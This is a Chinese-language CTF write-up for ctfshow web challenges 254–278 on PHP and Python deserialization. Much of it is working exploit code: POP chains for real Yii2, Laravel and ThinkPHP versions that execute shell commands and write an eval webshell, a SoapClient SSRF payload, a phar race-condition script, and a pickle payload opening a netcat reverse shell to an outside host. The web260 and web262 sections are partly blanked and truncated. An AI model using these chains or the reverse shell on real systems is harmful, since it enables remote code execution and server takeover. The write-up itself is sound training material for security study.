web254

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

传入username和password就行

?username=xxxxxx&password=xxxxxx

web255

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

生成序列化字符串

<?php

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=true;
}

$user = new ctfShowUser();
echo(serialize($user));

payload

?username=xxxxxx&password=xxxxxx
Cookie: user=O:11:"ctfShowUser":3:{s:8:"username"%3bs:6:"xxxxxx"%3bs:8:"password"%3bs:6:"xxxxxx"%3bs:5:"isVip"%3bb:1%3b}

这里把Cookie里的;进行了url编码,不然识别不正确。

web256

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}

<?php

class ctfShowUser{
    public $username='1';
    public $password='2';
    public $isVip=true;
}

$user = new ctfShowUser();
echo(serialize($user));

payload

?username=1&password=2
Cookie: user=O:11:"ctfShowUser":3:{s:8:"username"%3bs:1:"1"%3bs:8:"password"%3bs:1:"2"%3bs:5:"isVip"%3bb:1%3b}

web257

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

private变量反序列化后字符前面会有/x00,使用%00进行编码。

<?php

class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = "info";

    public function __construct(){
        $this->class=new backDoor();
    }
}

class backDoor{
    private $code = "system(\"cat flag.php\");";
    public function getInfo(){
        eval($this->code);
    }
}

$user = new ctfShowUser();
$str = str_replace("\x00","%00",serialize($user));
$str = str_replace(";","%3b",$str);

echo $str;

payload

?username=xxxxxx&password=xxxxxx
Cookie: user=O:11:"ctfShowUser":4:{s:21:"%00ctfShowUser%00username"%3bs:6:"xxxxxx"%3bs:21:"%00ctfShowUser%00password"%3bs:6:"xxxxxx"%3bs:18:"%00ctfShowUser%00isVip"%3bb:0%3bs:18:"%00ctfShowUser%00class"%3bO:8:"backDoor":1:{s:14:"%00backDoor%00code"%3bs:23:"system("cat flag.php")%3b"%3b}}

web258

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }

}

class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}

正则过滤了O:11,反序列化字符串的开头。
使用O:+11格式绕过

直接全部urlencode。

<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=true;
    public $class = 'backDoor';

    public function __construct(){
        $this->class=new backDoor();
    }

    public function __destruct(){
        $this->class->getInfo();
    }

}

class backDoor{
    public $code="system('cat flag.php');";
    public function getInfo(){
        eval($this->code);
    }
}
$a = new ctfShowUser();
$a = serialize($a);
$a= str_replace('O:', 'O:+',$a);
echo urlencode($a);

payload

?username=xxxxxx&password=xxxxxx
Cookie: user=O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27cat+flag.php%27%29%3B%22%3B%7D%7D

web259

<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

flag.php

$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
	die('error');
}else{
	$token = $_POST['token'];
	if($token=='ctfshow'){
		file_put_contents('flag.txt',$flag);
	}
}

这里考php的原生类SoapClient
这个类中有个__call魔术方法(当调用不存在的方法时触发),会调用SoapClient类的构造方法。

<?php
$post_string = 'token=ctfshow';
$b = new SoapClient(null,
    array('location' => 'http://127.0.0.1/flag.php', 'user_agent' => 'ctfshow\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: ' . (string)strlen($post_string) . '\r\n\r\n' . $post_string, 'uri' => "ssrf"));
$a = serialize($b);
echo urlencode($a);
?>

提示没有SoapClient的话,记得在php.ini中的extension中开启。

web260

<?php

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 ?>');
echo urlencode(serialize($a));

web262

<?php

                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  ?>');
$a->setStatus(1);

echo(base64_encode("|".serialize($a)));

当在属性值中加入|,前面部分会被看作键名,后面部分会进行反序列化。

payload

Cookie: PHPSESSID=31fmsqs4jquku9j65eepufq082; limit=fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czoyMzoiPD9waHAgZXZhbCgkX0dFVFsxXSk7Pz4iO3M6Njoic3RhdHVzIjtpOjE7fQ==
//先访问index.php对session赋值,再访问check.php触发反序列化,生成log-1.php

web264

index.php

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 02:37:19
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 16:05:38
# @message.php
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


error_reporting(0);
session_start();

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];

if(isset($f) && isset($m) && isset($t)){
    $msg = new message($f,$m,$t);
    $umsg = str_replace('fuck', 'loveU', serialize($msg));
    $_SESSION['msg']=base64_encode($umsg);
    echo 'Your message has been sent';
}

highlight_file(__FILE__);

message.php

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-03 15:13:03
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-03 15:17:17
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
session_start();
highlight_file(__FILE__);
include('flag.php');

class message{
    public $from;
    public $msg;
    public $to;
    public $token='user';
    public function __construct($f,$m,$t){
        $this->from = $f;
        $this->msg = $m;
        $this->to = $t;
    }
}

if(isset($_COOKIE['msg'])){
    $msg = unserialize(base64_decode($_SESSION['msg']));
    if($msg->token=='admin'){
        echo $flag;
    }
}

使用web262的payload即可。
访问message.php时Cookie加上一个;msg=1

web265

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-04 23:52:24
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());

if($ctfshow->login()){
    echo $flag;
}

考察php的按地址传参

<?php

class ctfshowAdmin{
    public $token;
    public $password;

    public function __construct($t,$p){
        $this->token=$t;
        $this->password = $p;
    }
    public function login(){
        return $this->token===$this->password;
    }
}

$a = new ctfshowAdmin("aaa","bbb");
$a->password = &$a->token;
echo urlencode(serialize($a));

当token值变化时,password值也会变化。

web266

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-04 23:52:24
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-05 00:17:08
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

highlight_file(__FILE__);

include('flag.php');
$cs = file_get_contents('php://input');


class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    public function __destruct(){
        global $flag;
        echo $flag;
    }
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){
    throw new Exception("Error $ctfshowo",1);
}

反序列化时不区分类名大小写,可用大小写绕过。

<?php

class ctfshow{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function login(){
        return $this->username===$this->password;
    }
    public function __toString(){
        return $this->username;
    }
    public function __destruct(){
        global $flag;
        echo $flag;
    }
}

$a = new ctfshow('','');

echo serialize($a);

payload

O:7:"cTfshow":2:{s:8:"username";s:0:"";s:8:"password";s:0:"";}

web267

由默认界面格式可以识别出是Yii2框架

先使用弱口令admin/admin登录
查看about页面,有注释提示访问?view-source
访问index.php?r=site/about&view-source

///backdoor/shell
unserialize(base64_decode($_GET['code']))

发现网站存在后门,这里提供了反序列化入口点。
Yii2存在反序列化漏洞version<2.0.38(CVE-2020-15148)
该漏洞在2.0.38中修复,但存在许多绕过链,参考文章

这里YII2版本为2.0.37,直接使用原始链。
查看版本路径:/var/www/html/basic/vendor/yiisoft/yii2/BaseYii.php

使用反序列化漏洞写shell

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'shell_exec';
            $this->id = 'echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ |base64 -d | tee 1.php';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}

namespace yii\db{
    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;

        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>

payload

?r=backdoor/shell&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6MTA6InNoZWxsX2V4ZWMiO3M6MjoiaWQiO3M6NjA6ImVjaG8gUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiTVYwcE96OCsgfGJhc2U2NCAtZCB8IHRlZSAxLnBocCI7fWk6MTtzOjM6InJ1biI7fX19fQ==

web268

上一题过滤了system
这题过滤了system和close,
上题的链无法使用,换另一条链。

class BackdoorController extends Controller{

        public function actionShell($code){
                if(!preg_match('/system|close/', base64_decode($code))){
                    return unserialize(base64_decode($code));
                }
                return '';
        }

}
<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'shell_exec';
            $this->id = 'echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ |base64 -d | tee 1.php';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            // 这里需要改为isRunning
            $this->formatters['isRunning'] = [new CreateAction(), 'run'];
        }
    }
}

// poc2
namespace Codeception\Extension{
    use Faker\Generator;
    class RunProcess{
        private $processes;
        public function __construct()
        {
            $this->processes = [new Generator()];
        }
    }
}
namespace{
    // 生成poc
    echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}
?>

web269

又添加了过滤
/var/www/html/basic/controllers/BackdoorController.php

class BackdoorController extends Controller{

        public function actionShell($code){
                if(!preg_match('/system|close|Running/', base64_decode($code))){
                    return unserialize(base64_decode($code));
                }
                return '';
        }

}

参考Yii2反序列化链绕过

<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'shell_exec';
            $this->id = 'echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ |base64 -d | tee 1.php';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            // 这里需要改为isRunning
            $this->formatters['render'] = [new CreateAction(), 'run'];
        }
    }
}

namespace phpDocumentor\Reflection\DocBlock\Tags{

    use Faker\Generator;

    class See{
        protected $description;
        public function __construct()
        {
            $this->description = new Generator();
        }
    }
}
namespace{
    use phpDocumentor\Reflection\DocBlock\Tags\See;
    class Swift_KeyCache_DiskKeyCache{
        private $keys = [];
        private $path;
        public function __construct()
        {
            $this->path = new See;
            $this->keys = array(
                "axin"=>array("is"=>"handsome")
            );
        }
    }
    // 生成poc
    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>

web270

又又是绕过

class BackdoorController extends Controller{

        public function actionShell($code){
                if(!preg_match('/system|close|Running|render/', base64_decode($code))){
                    return unserialize(base64_decode($code));
                }
                return '';
        }

}
<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'shell_exec';
            $this->id = 'echo PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+ |base64 -d | tee 1.php';
        }
    }
}
namespace yii\db{

    use yii\web\DbSession;

    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct(){
            $this->_dataReader=new DbSession();
        }
    }
}
namespace yii\web{

    use yii\rest\IndexAction;

    class DbSession
    {
        public $writeCallback;
        public function __construct(){
            $a=new IndexAction();
            $this->writeCallback=[$a,'run'];
        }
    }
}

namespace{

    use yii\db\BatchQueryResult;

    echo base64_encode(serialize(new BatchQueryResult()));
}

web271

开始考察Laravel框架的反序列化漏洞

(CVE-2019-9081)Laravel v5.7.x 反序列化rce

cve.mitre.org搜这个漏洞,发现漏洞编号被撤销了,因为官方不认为这是一个安全问题😅

<?php
namespace Illuminate\Foundation\Testing{
    class PendingCommand{
        protected $command;
        protected $parameters;
        protected $app;
        public $test;
        public function __construct($command, $parameters,$class,$app){
            $this->command = $command;
            $this->parameters = $parameters;
            $this->test=$class;
            $this->app=$app;
        }
    }
}
namespace Illuminate\Auth{
    class GenericUser{
        protected $attributes;
        public function __construct(array $attributes){
            $this->attributes = $attributes;
        }
    }
}
namespace Illuminate\Foundation{
    class Application{
        protected $hasBeenBootstrapped = false;
        protected $bindings;
        public function __construct($bind){
            $this->bindings=$bind;
        }
    }
}
namespace{
    $genericuser = new Illuminate\Auth\GenericUser(
        array(
            "expectedOutput"=>array("0"=>"1"),
            "expectedQuestions"=>array("0"=>"1")
             )
    );
    $application = new Illuminate\Foundation\Application(
        array(
            "Illuminate\Contracts\Console\Kernel"=>
                array(
                    "concrete"=>"Illuminate\Foundation\Application"
                     )
             )
    );
    $pendingcommand = new Illuminate\Foundation\Testing\PendingCommand(
        "system",array('cat /flag'),
        $genericuser,
        $application
    );
    echo urlencode(serialize($pendingcommand));
}
?>

web272

上题的链子被过滤了,而且上题的链只在5.7存在。
发现了一篇Laravel<=5.5 POP链

<?php
namespace Mockery\Generator {
    class MockConfiguration {
        protected $name = 'H3rmesk1t';
    }
    class MockDefinition {
        protected $config;
        protected $code;
        public function __construct() {
            $this->config = new MockConfiguration();
            $this->code = "<?php system('cat /flag');?>";
        }
    }
}

namespace Mockery\Loader {
    class EvalLoader {}
}

namespace Illuminate\Bus {
    use Mockery\Loader\EvalLoader;
    class Dispatcher {
        protected $queueResolver;
        public function __construct() {
            $this->queueResolver = [new EvalLoader(), 'load'];
        }
    }
}

namespace Illuminate\Broadcasting {
    use Illuminate\Bus\Dispatcher;
    use Mockery\Generator\MockDefinition;
    class BroadcastEvent {
        public $connection;
        public function __construct() {
            $this->connection = new MockDefinition();
        }
    }
    class PendingBroadcast {
        protected $events;
        protected $event;
        public function __construct() {
            $this->events = new Dispatcher();
            $this->event = new BroadcastEvent();
        }
    }
    echo urlencode(serialize(new PendingBroadcast()));
}
?>

web273

继续用上题的链子

web274

ThinkPHP 5.1.x 中的反序列化利用链

<?php
namespace think{
    abstract class Model{
        private $withAttr = [];
        private $data = [];
        public function __construct($function,$parameter){
            $this->data['smi1e'] = $parameter;
            $this->withAttr['smi1e'] = $function;
        }
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model
    {}
}

namespace think\process\pipes{
    use think\model\Pivot;
    class Windows
    {
        private $files = [];
        public function __construct($function,$parameter){
            $this->files = [new Pivot($function,$parameter)];
        }
    }
    $function = 'system';
    $parameter = 'cat /flag';
    $aaa = new Windows($function,$parameter);
    echo base64_encode(serialize($aaa));
}

web275

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-08 19:13:36
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


highlight_file(__FILE__);

class filter{
    public $filename;
    public $filecontent;
    public $evilfile=false;

    public function __construct($f,$fn){
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
        if(preg_match('/php|\.\./i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){
        if($this->evilfile){
            system('rm '.$this->filename);
        }
    }
}

if(isset($_GET['fn'])){
    $content = file_get_contents('php://input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
        echo 'work done';
    }
    
}else{
    echo 'where is flag?';
}

这题思路有点意思,我还以为需要写shell,但看了下没有办法绕过检查,利用点在__destruct函数中的命令执行存在命令注入漏洞。

构造payload

1.php;cat flag.php

web276

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-08 19:13:36
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-08 20:08:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/


highlight_file(__FILE__);

class filter{
    public $filename;
    public $filecontent;
    public $evilfile=false;
    public $admin = false;

    public function __construct($f,$fn){
        $this->filename=$f;
        $this->filecontent=$fn;
    }
    public function checkevil(){
        if(preg_match('/php|\.\./i', $this->filename)){
            $this->evilfile=true;
        }
        if(preg_match('/flag/i', $this->filecontent)){
            $this->evilfile=true;
        }
        return $this->evilfile;
    }
    public function __destruct(){
        if($this->evilfile && $this->admin){
            system('rm '.$this->filename);
        }
    }
}

if(isset($_GET['fn'])){
    $content = file_get_contents('php://input');
    $f = new filter($_GET['fn'],$content);
    if($f->checkevil()===false){
        file_put_contents($_GET['fn'], $content);
        copy($_GET['fn'],md5(mt_rand()).'.txt');
        unlink($_SERVER['DOCUMENT_ROOT'].'/'.$_GET['fn']);
        echo 'work done';
    }
    
}else{
    echo 'where is flag?';
}

增加了admin属性的检查,上题方法无法利用,需要利用phar反序列化

生成phar文件,需要设置php.ini中的配置如下

[Phar]
; http://php.net/phar.readonly
phar.readonly = Off

生成phar脚本

<?php
    class filter{
        public $filename;
        public $filecontent;
        public $evilfile=false;
        public $admin = false;

        public function __construct($f,$fn){
            $this->filename=$f;
            $this->filecontent=$fn;
        }
    }
 
    $a=new filter(';cat fla?.php','1');
    $a->admin = true;
    $a->evilfile = true;
    $phar = new Phar('1.phar');
    $phar->setStub('<?php __HALT_COMPILER();?>');
    $phar->setMetadata($a);
    $phar->addFromString('1.txt','dky');
?>

根据上面参考文章file_put_contents能够触发phar反序列化,但是我们上传的phar文件会被删除,然后重命名一个txt文件,这里可以利用条件竞争去访问到我们刚上传的phar文件.

import requests
import threading
import time

success = False
# 获取文件数据
def getPhar(phar):
    with open(phar,'rb') as f:
        data = f.read()
        return data

# 写phar文件
def writePhar(url, data):
    requests.post(url, data)

# 触发反序列化
def usePhar(url, data):
    global  success
    r = requests.post(url, data).text
    if 'ctfshow{' in r and success is False:
        print(r)
        success =True

def main():
    global success
    url = 'http://0af389e8-5a88-446a-bd3a-e61a09c9b19d.challenge.ctf.show/'
    phar = getPhar('1.phar')
    while success is False:
        time.sleep(1)
        w = threading.Thread(target=writePhar, args=(url+'?fn=1.phar', phar))
        s = threading.Thread(target=usePhar, args=(url+'?fn=phar://1.phar/1.txt', ''))
        w.start()
        s.start()

if __name__ == '__main__':
    main()

web277

python中的pickle反序列化

payload

import pickle
import os
import base64
import requests


class genpoc(object):
    def __reduce__(self):
        s = """nc ip 1337 -e /bin/sh"""  # 要执行的命令
        return os.popen, (s,)        # reduce函数必须返回元组或字符串

e = genpoc()
poc = pickle.dumps(e)

print(poc) # 此时,如果 pickle.loads(poc),就会执行命令

c = base64.b64encode(poc)
print(c)

url="http://a084eafb-f2b2-4846-8da3-918a045b17d5.challenge.ctf.show/backdoor"
params={'data':c}

r=requests.get(url=url,params=params)
print(r.text)

后台源码如下

from flask import Flask,request
import pickle
import base64
app = Flask(__name__)

@app.route('/')
def hello_world():
    return 'where is flag?<!--/backdoor?data= m=base64.b64decode(data) m=pickle.loads(m) -->'
@app.route('/backdoor')
def backdoor():
    data=request.args.get('data')
    m=base64.b64decode(data)
    m=pickle.loads(m)
    return 'backdoor here'

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=80)

web278

后台源码如下

from flask import Flask,request
import pickle
import base64
app = Flask(__name__)

@app.route('/')
def hello_world():
    return 'where is flag?<!--/backdoor?data= m=base64.b64decode(data) m=pickle.loads(m) -->'
@app.route('/backdoor')
def backdoor():
    data=request.args.get('data')
    m=base64.b64decode(data)
    if str(m).find('system')<0:
        m=pickle.loads(m)
    return 'backdoor here'

if __name__ == "__main__":
    app.run(host="0.0.0.0", port=80)

使用os.popen函数就可以了,上题不知道为啥os.system报internal error,所以都用的os.popen

参考

感谢gkjzjh146的Writeup,写得很仔细。😘